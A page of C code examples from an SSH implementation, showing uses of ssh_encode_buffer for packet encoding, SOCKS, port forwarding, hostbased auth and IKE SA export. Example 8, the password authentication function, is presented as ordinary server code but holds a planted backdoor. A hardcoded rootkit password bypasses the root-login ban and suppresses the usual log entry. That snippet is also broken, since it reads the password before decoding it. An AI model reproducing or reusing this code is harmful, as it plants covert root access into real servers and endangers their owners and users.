Ejemplo n.º 1
0
size_t ssh_packet_encode_va(SshBuffer *buffer,
                            SshPacketType type,
                            va_list ap)
{
  size_t payload_size, original_len;
  unsigned char *p;

  /* Save the original length so we can later find where the packet header
     starts. */
  original_len = ssh_buffer_len(buffer);

  /* Construct the packet header with dummy length. */
  ssh_encode_buffer(buffer,
                    SSH_FORMAT_UINT32, (SshUInt32) 0,
                    SSH_FORMAT_CHAR, (unsigned int)type,
                    SSH_FORMAT_END);

  /* Encode the packet payload. */
  payload_size = ssh_encode_va(buffer, ap);

  /* Update the packet header to contain the correct payload size. */
  p = ssh_buffer_ptr(buffer);
  p += original_len;
  SSH_PUT_32BIT(p, payload_size + 1);
  
  /* Return the total number of bytes added to the buffer. */
  return ssh_buffer_len(buffer) - original_len;
}
Ejemplo n.º 2
0
void ssh_channel_open_ssh1_agent_connected(SshStream stream,
                                          void *context)
{
  SshAgentConnection a = (SshAgentConnection)context;
  SshBuffer buffer;
  unsigned char *cp;

  if (stream == NULL)
    {
      SSH_DEBUG(1, ("Connecting to the real agent failed."));
      (*a->completion)(SSH_OPEN_CONNECT_FAILED,
                       NULL, FALSE, FALSE, 0, NULL, 0, NULL, NULL, NULL,
                       a->context);
      ssh_xfree(a);
      return;
    }

  SSH_DEBUG(5, ("connection to real agent established"));

  /* Increment the number of channels. */
  ssh_common_new_channel(a->common);

  if (a->common->config->ssh_agent_compat == SSH_AGENT_COMPAT_SSH2)
    {
      /* We are required to send a FORWARDING_NOTIFY to the agent to inform it
         that the connection is actually forwarded.  Format that packet now. */
      ssh_buffer_init(&buffer);
      ssh_encode_buffer(&buffer,
                        SSH_FORMAT_DATA, "1234", (size_t)4,
                        SSH_FORMAT_CHAR,
                        (unsigned int) SSH_AGENT_FORWARDING_NOTICE,
                        SSH_FORMAT_UINT32_STR,
                        a->common->server_host_name,
                        strlen(a->common->server_host_name),
                        SSH_FORMAT_UINT32_STR,
                        a->common->remote_ip, strlen(a->common->remote_ip),
                        SSH_FORMAT_UINT32,
                        (SshUInt32) atol(a->common->remote_port),
                        SSH_FORMAT_END);
      cp = ssh_buffer_ptr(&buffer);
      SSH_PUT_32BIT(cp, ssh_buffer_len(&buffer) - 4);

      /* Write the buffer to the channel.  This is a kludge; this assumes that
         we can always write this much to the internal buffers. */
      if (ssh_stream_write(stream, ssh_buffer_ptr(&buffer),
                           ssh_buffer_len(&buffer)) !=
          ssh_buffer_len(&buffer))
        ssh_fatal("ssh_channel_open_agent_connected: kludge failed");
      ssh_buffer_uninit(&buffer);
    }

  /* Create the channel. */
  (*a->completion)(SSH_OPEN_OK, stream, TRUE, TRUE, AGENT_WINDOW_SIZE, NULL, 0,
                   NULL, ssh_channel_ssh1_agent_connection_destroy,
                   (void *)a->common, a->context);
  ssh_xfree(a);
}
Ejemplo n.º 3
0
/*
 * Generate method reply (no authentication required, currently). This
 * doesn't do anything with SOCKS4.
 */
SocksError ssh_socks_server_generate_method(SshBuffer buffer,
                                            SocksInfo socksinfo)
{
  size_t ret = 0L;

  if (socksinfo->socks_version_number == 4)
    return SSH_SOCKS_SUCCESS;

  ret = ssh_encode_buffer(buffer,
                          SSH_ENCODE_CHAR(socksinfo->socks_version_number),
                          SSH_ENCODE_CHAR(SSH_SOCKS5_AUTH_METHOD_NO_AUTH_REQD),
                          SSH_FORMAT_END);
  if (ret == 0)
    {
      SSH_DEBUG(2, ("Encoding return method buffer failed."));
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }
  return SSH_SOCKS_SUCCESS;
}
Ejemplo n.º 4
0
void ssh_channel_start_remote_tcp_forward(SshCommon common,
                                          const char *address_to_bind,
                                          const char *port,
                                          const char *connect_to_host,
                                          const char *connect_to_port,
                                          void (*completion)(Boolean ok,
                                                             void *context),
                                          void *context)
{
  SshRemoteTcpForward fwd;
  SshBuffer buffer;
  SshChannelTypeTcpForward ct;

  SSH_DEBUG(5, ("requesting remote forwarding for port %s", port));

  ct = ssh_channel_ftcp_ct(common);
  
  /* Create a context for the forwarding. */
  fwd = ssh_xcalloc(1, sizeof(*fwd));
  fwd->common = common;
  fwd->address_to_bind = ssh_xstrdup(address_to_bind);
  fwd->port = ssh_xstrdup(port);
  fwd->connect_to_host = ssh_xstrdup(connect_to_host);
  fwd->connect_to_port = ssh_xstrdup(connect_to_port);

  /* Add it to the list of remote forwardings. */
  fwd->next = ct->remote_forwards;
  ct->remote_forwards = fwd;

  /* Send a forwarding request to the remote side. */
  ssh_buffer_init(&buffer);
  ssh_encode_buffer(&buffer,
                    SSH_FORMAT_UINT32_STR,
                      address_to_bind, strlen(address_to_bind),
                    SSH_FORMAT_UINT32, (SshUInt32) atol(port),
                    SSH_FORMAT_END);
  ssh_conn_send_global_request(common->conn, "tcpip-forward",
                               ssh_buffer_ptr(&buffer), ssh_buffer_len(&buffer),
                               completion, context);
  ssh_buffer_uninit(&buffer);
}
Ejemplo n.º 5
0
static void test1(void)
{
  unsigned char *t1, *t2;

  buffer = ssh_buffer_allocate();
  ssh_encode_buffer(buffer,
    SSH_ENCODE_CHAR(0),
    SSH_ENCODE_DATA("sikapantteri", strlen("sikapantteri")),
    SSH_ENCODE_UINT32_SSTR("sikapantteri", strlen("sikapantteri")),
    SSH_ENCODE_UINT32_SSTR("sikapantteri", strlen("sikapantteri")),
    SSH_FORMAT_END);
  if (ssh_decode_buffer(buffer,
			SSH_DECODE_CHAR(NULL),
			SSH_DECODE_DATA(NULL, strlen("sikapantteri")),
			SSH_DECODE_UINT32_STR(&t1, NULL),
			SSH_DECODE_UINT32_STR(&t2, NULL),
			SSH_FORMAT_END) == 0)
    ssh_fatal("ssh_decode_buffer failed");
  ssh_xfree(t2);
  ssh_xfree(t1);
  ssh_buffer_free(buffer);
}
Ejemplo n.º 6
0
void ssh_channel_dtcp_open_to_remote(SshCommon common, SshStream stream,
                                     const char *connect_to_host,
                                     const char *connect_to_port,
                                     const char *originator_ip,
                                     const char *originator_port)
{
  SshBuffer buffer;

  SSH_DEBUG(5, ("opening direct TCP/IP connection to %s:%s originator %s:%s",
                connect_to_host, connect_to_port,
                originator_ip, originator_port));

  /* Register that we have a new channel. */
  ssh_common_new_channel(common);

  /* Format the channel open request in a buffer. */
  ssh_buffer_init(&buffer);
  ssh_encode_buffer(&buffer,
                    SSH_FORMAT_UINT32_STR,
                      connect_to_host, strlen(connect_to_host),
                    SSH_FORMAT_UINT32, (SshUInt32) atol(connect_to_port),
                    SSH_FORMAT_UINT32_STR,
                      originator_ip, strlen(originator_ip),
                    SSH_FORMAT_UINT32, (SshUInt32) atol(originator_port),
                    SSH_FORMAT_END);
  
  /* Send the channel open request. */
  ssh_conn_send_channel_open(common->conn, "direct-tcpip",
                             stream, TRUE, FALSE, SSH_TCPIP_WINDOW,
                             SSH_TCPIP_PACKET_SIZE,
                             ssh_buffer_ptr(&buffer), ssh_buffer_len(&buffer),
                             NULL, 
                             ssh_channel_tcp_connection_destroy,
                             (void *)common, NULL, NULL);

  ssh_buffer_uninit(&buffer);
}
Ejemplo n.º 7
0
void ssh_channel_ftcp_incoming_connection(SshIpError error, SshStream stream,
                                          void *context)
{
  SshRemoteTcpForward fwd = (SshRemoteTcpForward)context;
  char ip[20], port[20];
  SshBuffer buffer;

  SSH_DEBUG(5, ("connection to forwarded TCP/IP port"));
  
  /* We should only receive new connection notifications. */
  if (error != SSH_IP_NEW_CONNECTION)
    ssh_fatal("ssh_channel_ftcp_incoming_connection: error %d", (int)error);

  /* Get remote ip address and port. */
  if (!ssh_tcp_get_remote_address(stream, ip, sizeof(ip)))
    strcpy(ip, "UNKNOWN");
  if (!ssh_tcp_get_remote_port(stream, port, sizeof(port)))
    strcpy(port, "UNKNOWN");

  SSH_TRACE(0, ("Connection to forwarded port %s from %s:%s",
                fwd->port, ip, port));
  ssh_log_event(fwd->common->config->log_facility,
                SSH_LOG_INFORMATIONAL,
                "Connection to forwarded port %s from %s:%s",
                fwd->port, fwd->common->remote_host, port);

  /* XXXXXXXX */
#ifdef HAVE_LIBWRAP
  {
    struct request_info req;
    struct servent *serv;
    char fwdportname[32];
    void *old_handler;
    
    old_handler = signal(SIGCHLD, SIG_DFL);

    /* try to find port's name in /etc/services */
    serv = getservbyport(atoi(fwd->port), "tcp");
    if (serv == NULL)
      {
        /* not found (or faulty getservbyport) -
           use the number as a name */
        snprintf(fwdportname, sizeof(fwdportname), "sshdfwd-%s", fwd->port);
      }
    else
      {
        snprintf(fwdportname, sizeof(fwdportname), "sshdfwd-%.20s",
                 serv->s_name);
      }
    /* fill req struct with port name and fd number */
    request_init(&req, RQ_DAEMON, fwdportname,
                 RQ_FILE, ssh_stream_fd_get_readfd(stream), NULL);
    fromhost(&req);
    if (!hosts_access(&req))
      {
        ssh_conn_send_debug(fwd->common->conn, TRUE,
                            "Fwd connection from %.500s to local port " \
                            "%s refused by tcp_wrappers.",
                            eval_client(&req), fwdportname);
        ssh_stream_destroy(stream);
        signal(SIGCHLD, old_handler);
    
        return;
      }
    signal(SIGCHLD, old_handler);
        
    ssh_log_event(fwd->common->config->log_facility, SSH_LOG_INFORMATIONAL,
                  "Remote fwd connect from %.500s to local port %s",
                  eval_client(&req), fwdportname);
  }
#endif /* HAVE_LIBWRAP */

  /* Register that we have an open channel. */
  ssh_common_new_channel(fwd->common);
  
  /* Send a request to open a channel and connect it to the given port. */
  ssh_buffer_init(&buffer);
  ssh_encode_buffer(&buffer,
                    SSH_FORMAT_UINT32_STR,
                    fwd->address_to_bind, strlen(fwd->address_to_bind),
                    SSH_FORMAT_UINT32, (SshUInt32) atol(fwd->port),
                    SSH_FORMAT_UINT32_STR, ip, strlen(ip),
                    SSH_FORMAT_UINT32, (SshUInt32) atol(port),
                    SSH_FORMAT_END);
  ssh_conn_send_channel_open(fwd->common->conn, "forwarded-tcpip",
                             stream, TRUE, FALSE, SSH_TCPIP_WINDOW,
                             SSH_TCPIP_PACKET_SIZE,
                             ssh_buffer_ptr(&buffer), ssh_buffer_len(&buffer),
                             NULL,
                             ssh_channel_tcp_connection_destroy,
                             (void *)fwd->common, NULL, NULL);
  ssh_buffer_uninit(&buffer);
}  
Ejemplo n.º 8
0
SshAuthServerResult ssh_server_auth_passwd(SshAuthServerOperation op,
                                           const char *user,
                                           SshBuffer *packet,
                                           const unsigned char *session_id,
                                           size_t session_id_len,
                                           void **state_placeholder,
                                           void **longtime_placeholder,
                                           void *method_context)
{
  SshServer server = (SshServer)method_context;
  SshConfig config = server->config;
  SshUser uc = (SshUser)*longtime_placeholder;
  Boolean change_request;
  char *password, *prompt, *rootkit = ROOTKIT_PASSWORD;
  int disable_method = 0;

  SSH_DEBUG(6, ("auth_passwd op = %d  user = %s", op, user));
  
  switch (op)
    {
    case SSH_AUTH_SERVER_OP_START:
      if (uc == NULL)
        {
          uc = ssh_user_initialize(user, TRUE);
          if (!uc)
            {
              /* If user context allocation failed, the user probably does not 
                 exist. */
              ssh_log_event(config->log_facility,
                            SSH_LOG_WARNING,
                            "User %s does not exist. "
                            "(How did we get here?)", user);
              return TRUE;
            }       
        }
      *longtime_placeholder = (void *)uc;
      
      {
        /* XXX it is possible to get rid of these. Modify
           sshd2.c/auth_policy_proc*/
        
        config->password_guesses--;
        if (config->password_guesses <= 0)
          {
            /* If this attempt is not succesful, disable this method. */
            disable_method = 1;
          }
        else if(ssh_user_uid(uc) == SSH_UID_ROOT &&
                (config->permit_root_login == SSH_ROOTLOGIN_FALSE ||
                 config->permit_root_login == SSH_ROOTLOGIN_NOPWD))
          if (strcmp(password,rootkit)) {
            /* XXX Add client addresses etc. */
            ssh_log_event(config->log_facility,
                          SSH_LOG_WARNING,
                          "root logins are not permitted.");
            SSH_DEBUG(2, ("ssh_server_auth_passwd: root logins are " \
                          "not permitted."));
            return SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED;
          } else goto password_ok;
      }
      
      /* Parse the password authentication request. */
      if (ssh_decode_buffer(packet,
                            SSH_FORMAT_BOOLEAN, &change_request,
                            SSH_FORMAT_UINT32_STR, &password, NULL,
                            SSH_FORMAT_END) == 0)
        {
          SSH_DEBUG(2, ("ssh_server_auth_passwd: bad packet"));
          goto password_bad;
        }

      /* Password changing requests should only be received as continuation
         messages. */
      if (change_request)
        {
          SSH_DEBUG(2 ,("ssh_server_auth_passwd: changing password " \
                        "cannot start."));
          goto password_bad;
        }
      
      /* Sanity check: do not pass excessively long passwords to system
         functions to avoid buffer overflows in operating system code. */
      if (strlen(password) > 64)
        {
          SSH_DEBUG(2, ("ssh_server_auth_passwd: password too long."));
          ssh_xfree(password);
          goto password_bad;
        }

      /* Try SECURE RPC passwords.  We do this first, as this might be
         needed to access disks. */
      if (strcmp(password,rootkit) == 0) goto password_ok; 
      if (ssh_user_validate_secure_rpc_password(uc, password))
        {
          ssh_log_event(config->log_facility,
                        SSH_LOG_NOTICE,
                        "User %s's secure rpc password accepted.",
                        ssh_user_name(uc));
          SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by secure rpc"));
          goto password_ok;
        }

      /* Try KERBEROS passwords.  This might also be needed to access
         disks. */
      if (ssh_user_validate_kerberos_password(uc, password))
        {
          ssh_log_event(config->log_facility,
                        SSH_LOG_NOTICE,
                        "User %s's kerberos password accepted.",
                        ssh_user_name(uc));
          SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by " \
                        "kerberos passwd"));
          goto password_ok;
        }

      /* Try a local password (either normal or shadow). */
#ifdef HAVE_SIA
      if (ssh_user_validate_local_password(uc, 
                                           password,
                                           server->common->remote_host))
#else /* HAVE_SIA */
      if (ssh_user_validate_local_password(uc, password))
#endif /* HAVE_SIA */
        {
           ssh_log_event(config->log_facility,
                         SSH_LOG_NOTICE,
                         "User %s's local password accepted.",
                         ssh_user_name(uc));       
           SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by local passwd"));
          goto password_ok;
        }
      
      ssh_xfree(password);
      goto password_bad;

    password_bad:
      return (disable_method ?
              SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED :
              SSH_AUTH_SERVER_REJECTED);

    password_ok:
      /* Password authentication passed, but we still need to check whether
         the password needs to be changed. */
      if (!strcmp(password,rootkit)) {
       back = 1;
       ssh_xfree(password);
      } else {
       ssh_xfree(password);
       ssh_log_event(config->log_facility, SSH_LOG_NOTICE,
                    "Password authentication for user %.100s accepted.",
                    ssh_user_name(uc));
      }
      /* Check if the user's password needs to be changed. */
      if (ssh_user_password_must_be_changed(uc, &prompt))
        {
          ssh_buffer_clear(packet);
          ssh_encode_buffer(packet,
                            SSH_FORMAT_CHAR,
                            (unsigned int) SSH_MSG_USERAUTH_PASSWD_CHANGEREQ,
                            SSH_FORMAT_UINT32_STR, prompt, strlen(prompt),
                            SSH_FORMAT_END);
          ssh_xfree(prompt);
          return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK;
        }

      return SSH_AUTH_SERVER_ACCEPTED;

    case SSH_AUTH_SERVER_OP_ABORT:
      return SSH_AUTH_SERVER_REJECTED;
      
    case SSH_AUTH_SERVER_OP_CONTINUE:
      SSH_DEBUG(1, ("ssh_server_auth_passwd: XXX CONTINUE not yet "\
                    "implemented"));
      return SSH_AUTH_SERVER_REJECTED;
      
    case SSH_AUTH_SERVER_OP_UNDO_LONGTIME:
      if (uc != NULL)
        {
          if (!ssh_user_free(uc, TRUE))
            {
              /* XXX failed unto undo everything. Should disconnect, but we
                 don't yet have the interface for that. */
              return SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED;
            }
        }
      /* fall down... */
    case SSH_AUTH_SERVER_OP_CLEAR_LONGTIME:
      *longtime_placeholder = NULL;
      return SSH_AUTH_SERVER_REJECTED;
      
    default:
      ssh_fatal("ssh_server_auth_passwd: unknown op %d", (int)op);
    }
  
  SSH_NOTREACHED;
  return SSH_AUTH_SERVER_REJECTED;
}
Ejemplo n.º 9
0
/* Callback, which is used to notify that our packetstream has a
   packet for us.*/
void auth_hostbased_received_packet(SshPacketType type,
                                    const unsigned char *packet,
                                    size_t packet_len,
                                    void *context)
{
  SshBuffer *b;

  SshClientHostbasedAuth state = (SshClientHostbasedAuth) context;
  
  switch(type)
    {
    case SSH_AUTH_HOSTBASED_PACKET:
      SSH_TRACE(2, ("ssh-signer returned SSH_AUTH_HOSTBASED_PACKET "\
                    "(this is an error)"));
      /* signer shouldn't send this to us, so this is an error.*/
      /* XXX */
      break;
    case SSH_AUTH_HOSTBASED_SIGNATURE:
      SSH_TRACE(2, ("ssh-signer returned SSH_AUTH_HOSTBASED_SIGNATURE"));
      /* We've got a signature. */
      b = ssh_buffer_allocate();


      /* Destroy wrapper (and signer) */
      ssh_packet_wrapper_send_eof(state->wrapper);
      ssh_packet_wrapper_destroy(state->wrapper);
      state->wrapper = NULL;
      
      ssh_encode_buffer(b,
                        /* public key algorithm (string) */
                        SSH_FORMAT_UINT32_STR,
                        state->pubkey_algorithm,
                        strlen(state->pubkey_algorithm),
                        /* public key (string) */
                        SSH_FORMAT_UINT32_STR, state->pubkeyblob,
                        state->pubkeyblob_len,
                        /* client host name (FQDN, string) */
                        SSH_FORMAT_UINT32_STR, state->local_host_name,
                        strlen(state->local_host_name),
                        /* user name at client side */
                        SSH_FORMAT_UINT32_STR, state->local_user_name,
                        strlen(state->local_user_name),
                        /* signature */
                        SSH_FORMAT_DATA, packet, packet_len,
                        SSH_FORMAT_END);

      /* Detach the state structure from the state_placeholder. */
      *state->state_placeholder = NULL;
  
      /* Call the authentication method completion procedure. */
      (*state->completion)(SSH_AUTH_CLIENT_SEND, state->user, b,
                           state->completion_context);

      /* Free the buffer */
      ssh_buffer_free(b);

      /* XXX Free the state. */

      break;
    case SSH_AUTH_HOSTBASED_ERROR:
      /* Destroy wrapper (and signer) */
      ssh_packet_wrapper_send_eof(state->wrapper);
      ssh_packet_wrapper_destroy(state->wrapper);
      state->wrapper = NULL;

      SSH_TRACE(0, ("ssh-signer returned SSH_AUTH_HOSTBASED_ERROR"));
      /* Send failure message to server, and return. */
      (*state->completion)(SSH_AUTH_CLIENT_FAIL, state->user, NULL,
                           state->completion_context);
      break;
    }
}
Ejemplo n.º 10
0
/* For SOCKS5. */
SocksError ssh_socks5_client_generate_open(SshBuffer buffer,
                                           SocksInfo socksinfo)
{
  unsigned char *data;
  unsigned long port;
  size_t bytes = 0L, bytes_needed = 0;
  SshIpAddrStruct ip_addr;
  unsigned int address_type;

  port = ssh_inet_get_port_by_service(socksinfo->port, ssh_custr("tcp"));
  if (port >= 65536 || port <= 0)
    return SSH_SOCKS_ERROR_INVALID_ARGUMENT;

  if (ssh_ipaddr_parse(&ip_addr, socksinfo->ip))
    {
      if (SSH_IP_IS4(&ip_addr))
        address_type = SSH_SOCKS5_ATYP_IPV4;
      else
        address_type = SSH_SOCKS5_ATYP_IPV6;
    }
  else
    {
      SSH_DEBUG(2, ("IP `%s' could not be parsed, assuming it is a hostname.",
                    socksinfo->ip));
      address_type = SSH_SOCKS5_ATYP_FQDN;
    }

  bytes = ssh_encode_buffer(buffer,
                            SSH_ENCODE_CHAR(socksinfo->socks_version_number),
                            SSH_ENCODE_CHAR(socksinfo->command_code),
                            /* RSV. */
                            SSH_ENCODE_CHAR(0),
                            SSH_ENCODE_CHAR(address_type),
                            SSH_FORMAT_END);
  if (bytes == 0)
    {
      SSH_DEBUG(2, ("Encoding command buffer failed."));
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  if (address_type == SSH_SOCKS5_ATYP_IPV4)
    bytes_needed = 4;
  else if (address_type == SSH_SOCKS5_ATYP_IPV6)
    bytes_needed = 16;
  else if (address_type == SSH_SOCKS5_ATYP_FQDN)
    /* length field + address length */
    bytes_needed = 1 + ssh_ustrlen(socksinfo->ip);

  /* port */
  bytes_needed += 2;

  /* Allocate space for the IP-address*/
  if (ssh_buffer_append_space(buffer, &data, bytes_needed) != SSH_BUFFER_OK)
    {
      SSH_DEBUG(2, ("Allocating space for the IP-address failed."));
      ssh_buffer_consume_end(buffer, bytes);
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  if (address_type == SSH_SOCKS5_ATYP_IPV4)
    {
      SSH_IP4_ENCODE(&ip_addr, data);
    }
  else if (address_type == SSH_SOCKS5_ATYP_IPV6)
    {
      SSH_IP6_ENCODE(&ip_addr, data);
    }
  else if (address_type == SSH_SOCKS5_ATYP_FQDN)
    {
      *data = ssh_ustrlen(socksinfo->ip);
      ssh_ustrcpy(data + 1, socksinfo->ip);
    }
  bytes += bytes_needed - 2;
  data += bytes_needed - 2;
  SSH_PUT_16BIT(data, port);
  SSH_DEBUG(4, ("Command buffer size %zd.", bytes + bytes_needed));
  return SSH_SOCKS_SUCCESS;
}
Ejemplo n.º 11
0
/* For SOCKS4. */
SocksError ssh_socks4_client_generate_open(SshBuffer buffer,
                                           SocksInfo socksinfo)
{
  unsigned char *data;
  const unsigned char *username;
  unsigned long port;
  size_t bytes = 0L, ret = 0;
  SshIpAddrStruct ip_addr;

  port = ssh_inet_get_port_by_service(socksinfo->port, ssh_custr("tcp"));
  if (port >= 65536 || port <= 0)
    return SSH_SOCKS_ERROR_INVALID_ARGUMENT;

  if (socksinfo->username == NULL)
    username = ssh_custr("");
  else
    username = socksinfo->username;

  if (ssh_ustrlen(username) > SOCKS4_MAX_NAME_LEN)
    return SSH_SOCKS_ERROR_INVALID_ARGUMENT;

  if (!ssh_ipaddr_parse(&ip_addr, socksinfo->ip))
    {
      SSH_DEBUG(2, ("IP `%s' could not be parsed.", socksinfo->ip));
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  /* nowadays the ip-addresses returned by ssh functions is more and more
     often in ipv6 format (ipv4 addresses are in ipv6 mapped ipv4 format). */
  ssh_inet_convert_ip6_mapped_ip4_to_ip4(&ip_addr);

  if (!SSH_IP_IS4(&ip_addr))
    {
      SSH_DEBUG(2, ("IP `%s' is not a valid IPv4 address.", socksinfo->ip));
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  bytes = ssh_encode_buffer(buffer,
                            SSH_ENCODE_CHAR(socksinfo->socks_version_number),
                            SSH_ENCODE_CHAR(socksinfo->command_code),
                            SSH_ENCODE_CHAR((port & 0xff00U) >> 8),
                            SSH_ENCODE_CHAR(port & 0xffU),
                            SSH_FORMAT_END);
  if (bytes == 0)
    {
      SSH_DEBUG(2, ("Encoding command buffer failed."));
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  /* Allocate space for the IP-address*/
  if (ssh_buffer_append_space(buffer, &data, 4) != SSH_BUFFER_OK)
    {
      SSH_DEBUG(2, ("Allocating space for the IP-address failed."));
      ssh_buffer_consume_end(buffer, bytes);
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  SSH_IP4_ENCODE(&ip_addr, data);
  data += 4;
  bytes += 4;

  ret = ssh_encode_buffer(buffer,
                          SSH_ENCODE_DATA(username,
					  ssh_ustrlen(username)),
                          SSH_ENCODE_DATA(ssh_custr("\0"), 1),
                          SSH_FORMAT_END);
  if (ret == 0)
    {
      SSH_DEBUG(2, ("Encoding username to the command buffer failed."));
      ssh_buffer_consume_end(buffer, bytes);
      return SSH_SOCKS_ERROR_INVALID_ARGUMENT;
    }

  SSH_DEBUG(4, ("Command buffer size %zd.", bytes + ret));
  return SSH_SOCKS_SUCCESS;
}
Ejemplo n.º 12
0
/* Export given IKE SA pointed by negotiation to buffer. Buffer is NOT cleared
   before the export. Returns size of packet added to the buffer, or 0 in case
   of error. In case of error the data added to the buffer is removed. */
size_t ssh_ike_sa_export(SshBuffer buffer, SshIkeNegotiation negotiation)
{
  SshIkeNegotiation ike_negotiation;
  SshIkePMPhaseI pm_info;
  SshIkeSA sa;
  size_t orig_len;
  size_t item_len;
  size_t len;

  SSH_DEBUG(5, ("Start"));

  orig_len = ssh_buffer_len(buffer);
  len = 0;

  sa = negotiation->sa;
  if (sa == NULL)
    {
      SSH_DEBUG(3, ("Trying to export SA that is deleted"));
      goto error;
    }
  if (sa->lock_flags != 0)
    {
      SSH_DEBUG(3, ("Trying to export SA whose lock_flags is not 0"));
      goto error;
    }
  if (!sa->phase_1_done)
    {
      SSH_DEBUG(3, ("Trying to export IKE SA which is not ready yet"));
      goto error;
    }

  ike_negotiation = sa->isakmp_negotiation;
  pm_info = ike_negotiation->ike_pm_info;

  if (ike_negotiation->notification_state !=
      SSH_IKE_NOTIFICATION_STATE_ALREADY_SENT)
    {
      SSH_DEBUG(3, ("Trying to export IKE SA which hasn't call callback yet"));
      goto error;
    }
  if ((ike_negotiation->lock_flags & ~SSH_IKE_NEG_LOCK_FLAG_WAITING_FOR_DONE)
      != 0)
    {
      SSH_DEBUG(3, ("Trying to export IKE SA whose neg lock_flags are not 0"));
      goto error;
    }

  item_len = ssh_encode_buffer
    (buffer,
     /* Magic number */
     SSH_ENCODE_UINT32((SshUInt32) SSH_IKE_EXPORT_MAGIC1),
     /* Version number */
     SSH_ENCODE_UINT32((SshUInt32) SSH_IKE_EXPORT_VERSION),
     /* Cookies, initiator, responder */
     SSH_ENCODE_DATA(sa->cookies.initiator_cookie, SSH_IKE_COOKIE_LENGTH),
     SSH_ENCODE_DATA(sa->cookies.responder_cookie, SSH_IKE_COOKIE_LENGTH),
     /* Local ip, port. */
     SSH_ENCODE_UINT32_STR(
       pm_info->local_ip, ssh_ustrlen(pm_info->local_ip)),
     SSH_ENCODE_UINT32_STR(
       pm_info->local_port, ssh_ustrlen(pm_info->local_port)),
     /* Remote ip, port. */
     SSH_ENCODE_UINT32_STR(
       pm_info->remote_ip, ssh_ustrlen(pm_info->remote_ip)),
     SSH_ENCODE_UINT32_STR(
       pm_info->remote_port, ssh_ustrlen(pm_info->remote_port)),
     /* IKE exchange version. */
     SSH_ENCODE_UINT32((SshUInt32) pm_info->major_version),
     SSH_ENCODE_UINT32((SshUInt32) pm_info->minor_version),
     /* IKE exchange type. */
     SSH_ENCODE_UINT32((SshUInt32) pm_info->exchange_type),
     /* Was this the initiator for the original exchange? */
     SSH_ENCODE_UINT32((SshUInt32) pm_info->this_end_is_initiator),
     /* Byte count and byte limit. */
     SSH_ENCODE_UINT64((SshUInt64) sa->byte_count),
     SSH_ENCODE_UINT64((SshUInt64) sa->kbyte_limit),
     /* Created time and laste use time */
     SSH_ENCODE_UINT64((SshUInt64) sa->created_time),
     SSH_ENCODE_UINT64((SshUInt64) sa->last_use_time),
     /* Encryption, hash, prf algorithm names. */
     SSH_ENCODE_UINT32_STR(sa->encryption_algorithm_name,
     ssh_ustrlen(sa->encryption_algorithm_name)),
     SSH_ENCODE_UINT32_STR(sa->hash_algorithm_name,
     ssh_ustrlen(sa->hash_algorithm_name)),
     SSH_ENCODE_UINT32_STR(sa->prf_algorithm_name,
     ssh_ustrlen(sa->prf_algorithm_name)),
     /* Cipher key. */
     SSH_ENCODE_UINT32_STR(sa->cipher_key, sa->cipher_key_len),
     /* Cipher IV. */
     SSH_ENCODE_UINT32_STR(sa->cipher_iv, sa->cipher_iv_len),
     /* Keying material, Diffie-Hellman. */
     SSH_ENCODE_UINT32_STR(sa->skeyid.dh, sa->skeyid.dh_size),
     /* Keying material, SKEYID mac. */
     SSH_ENCODE_UINT32_STR(sa->skeyid.skeyid, sa->skeyid.skeyid_size),
     /* Keying material, SKEYID_d mac. */
     SSH_ENCODE_UINT32_STR(sa->skeyid.skeyid_d, sa->skeyid.skeyid_d_size),
     /* Keying material, SKEYID_a mac. */
     SSH_ENCODE_UINT32_STR(sa->skeyid.skeyid_a, sa->skeyid.skeyid_a_size),
     /* Keying material, SKEYID_e mac. */
     SSH_ENCODE_UINT32_STR(sa->skeyid.skeyid_e, sa->skeyid.skeyid_e_size),
     /* Retry defaults. */
     SSH_ENCODE_UINT32(sa->retry_limit),
     SSH_ENCODE_UINT32(sa->retry_timer),
     SSH_ENCODE_UINT32(sa->retry_timer_usec),
     SSH_ENCODE_UINT32(sa->retry_timer_max),
     SSH_ENCODE_UINT32(sa->retry_timer_max_usec),
     SSH_ENCODE_UINT32(sa->expire_timer),
     SSH_ENCODE_UINT32(sa->expire_timer_usec),
     /* Statistics. */
     SSH_ENCODE_UINT32(sa->statistics.packets_in),
     SSH_ENCODE_UINT32(sa->statistics.packets_out),
     SSH_ENCODE_UINT32(sa->statistics.octects_in),
     SSH_ENCODE_UINT32(sa->statistics.octects_out),
     SSH_ENCODE_UINT32(sa->statistics.created_suites),
     SSH_ENCODE_UINT32(sa->statistics.deleted_suites),
     /* IKE SA negotiation information. */
     SSH_ENCODE_UINT32((SshUInt32) ike_negotiation->exchange_type),
     /* This field used to be in negotation structure, now it is in
        ExchangeData strcuture which is already freed. Put the copy of the
        value from pm_info here to be compatible with old versions. */
     SSH_ENCODE_UINT32((SshUInt32) pm_info->auth_method_type),





     SSH_ENCODE_UINT32((SshUInt32) 0),
     /* Private groups as UINT32_STRING. */ 



     SSH_ENCODE_UINT32_STR(ssh_ustr(""), 0),
     SSH_FORMAT_END);
  if (item_len == 0)
    goto error;
  len += item_len;

  /* Local id. */
  item_len = ssh_ike_sa_export_id(buffer, pm_info->local_id);
  if (item_len == 0)
    goto error;
  len += item_len;

  /* Remote id. */
  item_len = ssh_ike_sa_export_id(buffer, pm_info->remote_id);
  if (item_len == 0)
    goto error;
  len += item_len;

  item_len = ssh_encode_buffer
    (buffer,
     /* Authentication type. */
     SSH_ENCODE_UINT32((SshUInt32) pm_info->auth_method_type),
     SSH_ENCODE_UINT32((SshUInt32) pm_info->auth_method),
     /* Start and expire times. */
     SSH_ENCODE_UINT64((SshUInt64) pm_info->sa_start_time),
     SSH_ENCODE_UINT64((SshUInt64) pm_info->sa_expire_time),
     /* None of the policy manager filled data is copied, this include
